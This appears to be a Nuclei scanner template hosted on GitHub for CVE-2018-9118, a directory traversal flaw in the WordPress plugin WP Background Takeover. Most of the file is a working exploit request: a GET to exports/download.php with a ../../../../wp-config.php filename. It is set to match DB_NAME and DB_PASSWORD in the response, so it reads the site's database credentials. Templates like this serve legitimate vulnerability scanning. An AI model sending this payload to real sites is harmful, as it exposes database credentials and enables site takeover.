Private-Nuclei-Templates/CVE-2018-9118 at main · Akokonunes/Private-Nuclei-Templates · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
id: cve-2018-9118

info:
  name: WP Background Takeover, Directory Traversal <= 4.1.4
  severity: high
  tags: wordpress,wp-plugin,lfi
  description: Affected by this vulnerability is an unknown functionality of the file exports/download.php. The manipulation of the argument filename with the input value leads to a directory traversal vulnerability
  reference: https://www.exploit-db.com/exploits/44417

requests:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200